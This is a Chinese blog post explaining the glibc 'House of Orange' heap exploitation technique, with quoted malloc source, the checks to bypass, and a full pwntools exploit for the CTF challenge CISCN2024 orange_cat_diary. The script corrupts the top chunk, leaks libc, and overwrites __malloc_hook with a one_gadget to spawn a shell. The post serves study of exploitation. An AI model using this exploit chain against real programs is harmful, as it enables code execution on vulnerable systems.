PWN系列-House of Orange

PWN系列-House of Orange

原理

原理简单来说是当前堆的top chunk尺寸不足以满足申请分配的大小的时候,原来的 top chunk 会被释放并被置入unsorted bin中,通过这一点可以在没有 free 函数情况下获取到 unsorted bins。

申请chunk的时候,会走到下面的步骤

victim = av->top;      
size = chunksize (victim);
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))//
{          
    remainder_size = size - nb;          
    remainder = chunk_at_offset (victim, nb);          
    av->top = remainder;          
    set_head (victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
    set_head (remainder, remainder_size | PREV_INUSE);          
    check_malloced_chunk (av, victim, nb);          
    void *p = chunk2mem (victim);          
    alloc_perturb (p, bytes);          
    return p;
}
else if (have_fastchunks (av))
{
     \********\   
}
else        
{          
    void *p = sysmalloc (nb, av);          
    if (p != NULL)            
    alloc_perturb (p, bytes);         
    return p;        
}

在这段代码中,我们可以看到,如果 size(top_chunk_size) >= nb(user_chunk_size) + MINSIZE((prev_size+size)chunk_head_size) ,那么就会对 top chunk 进行切割,否则,之后会调用 sysmalloc 来拓展堆空间。

跟上进入sysmalloc函数看看

if (av == NULL || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)    
&& (mp_.n_mmaps < mp_.n_mmaps_max)))
{
    \********\
}
old_top = av->top;  
old_size = chunksize (old_top);  
old_end = (char *) (chunk_at_offset (old_top, old_size));  
brk = snd_brk = (char *) (MORECORE_FAILURE);
assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top)&& ((unsigned long) old_end & (pagesize - 1)) == 0));
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

从上面代码可以看到,如果 av(arena) 为空或者nb(user_chunk_size) >= mmap分配的最低阈值,并且 mmap 分配的最低阈值小于 mmap 分配的最大阈值(一般默认成立),那么就会利用 mmap 去分配内存,这样,我们就不能实现将top_chunk释放进unsorted bin的攻击目标了,因此,这里我们需要 nb < mp_.mmap_threshold

在 GNU C Library (glibc) 中,mp_.mmap_threshold是一个与内存分配有关的参数,控制何时使用 mmap 来分配大块内存。默认情况下,这个值可能会有所不同,具体取决于系统配置和 glibc 版本。

在 glibc 中,mp_.mmap_threshold的默认值通常是 128 KB(即 131072 字节)。这意味着当请求分配的内存块大小超过 128 KB 时,glibc 会使用 mmap 而不是 sbrk 来分配内存。

所以在一般情况下,mp_.mmap_threshold值是相对大的。

之后,就是利用 assert 进行一系列检测

  1. old_top == initial_top (av) top_chunk 没有被释放进 unsorted bin
  2. old_size(top_chunk_size) >= MINSIZE ((prev_size+size)chunk_head_size) 64位程序下也就是 top_chunk_size >= 0x10
  3. prev_inuse (old_top) 检查 top_chunk 的 p 位是否为 1
  4. old_end & (pagesize - 1)) == 0 需要 top_chunk_size + top_chunk_addr - 1 是页对齐的
  5. old_size < nb + MINSIZE 这个之前检测过了

之后就是用申请新的top chunk并且把旧的top chunk给free掉。

所以我们要想走到这步,就必须满足下面的条件:

  1. prev_inuse (old_top) 检查 top_chunk 的 p 位是否为 1
  2. old_end & (pagesize - 1)) == 0 需要 top_chunk_size + top_chunk_addr - 1 是页对齐的
  3. user_chunk_size > top_chunk_size 申请的堆块大小要大于 top_chunk 的大小
  4. top_chunk_size > MINSIZE 也就是 top_chunk 的大小要大于 chunk_heap 的大小,64 位下为 0x10

这里说一下第二点:old_end & (pagesize - 1)) == 0 需要 top_chunk_size + top_chunk_addr - 1 是页对齐的

old_end = (char *) (chunk_at_offset (old_top, old_size));

这里的old_end其实就是top chunk的地址+top chunk的size,pagesize - 1==0xfff

old_end & 0xfff其实就是取old_end的后三位,看是否等于0

通俗点讲:比如此时top chunk的size是0x1e211,我们要进行house of orange,要将size覆盖成0x211就可以绕过这个check。

只要绕过这些chunk,就可以在没有调用free函数的情况下得到一个unsorted bin,通过这个可以用来leak libc地址、进行unsorten bin attack等。

例题

例题1:CISCN2024-orange_cat_diary(house of orange+fastbin attack)

2.23环境下的pwn题,保护全开,经典菜单题,add delete edit show功能全都有,就是delete和show只能用一次,并且chunk_ptr始终指向最新创建的chunk,存在uaf漏洞,并且edit功能还能进行8字节的溢出。

思路:利用溢出修改top chunk的size,利用house of orange来获得unsorted bin,再从unsorted bin中申请一个chunk来泄露libc地址,利用仅有的一次deletel来构造fastbin attack,将chunk申请到malloc_hook-0x23的位置,写malloc_hook为onegadgets,再次调用malloc就拿到shell了。

from pwn import *

p = process('./pwn')
context(os='linux',arch='amd64',log_level='debug')
elf = ELF('./pwn')
libc = ELF('./2.23')

def duan():
	sleep(0.5)
	gdb.attach(p)
	pause()	
def add(size,content):
	p.sendlineafter('choice:','1')
	p.sendlineafter("content:",str(size))
	p.sendafter("Please enter the diary content:\n",content)
def delete():
	p.sendlineafter('choice:','3')
def show():
	p.sendlineafter('choice:','2')
def edit(size, content):
	p.sendlineafter('choice:','4')
	p.sendlineafter(b'content:', str(size))
	p.sendafter('content:\n',content)

p.sendlineafter('name.\n','xce')
add(0x18,b'aaaaaaaa')
edit(0x20,b'a'*0x18+p64(0xfe1))
add(0x1000,b'aaaaaaaa')
add(0x60,b'aaaaaaab')
show()
p.recvuntil('aaaaaaab')
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-1640-0x10-libc.symbols['__malloc_hook']
target = libc_base+libc.symbols['__malloc_hook']-0x23
og = [0x4525a,0xef9f4,0xf0897]
shell = libc_base+og[1]
print('libc_base-->'+hex(libc_base))
delete()
edit(0x60,p64(target))
add(0x60,b'aaaaaaaa')
add(0x60,b'a'*0x13+p64(shell))
p.sendlineafter('choice:','1')
p.sendlineafter("content:",str(0x10))
p.interactive()

唉,比赛的时候没有做出这道题,真想扇自己几个大嘴巴子(开玩笑的

参考文章

https://www.cnblogs.com/xshhc/p/17327672.html

posted @   山西小嫦娥  阅读(97)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
点击右上角即可分享
微信分享提示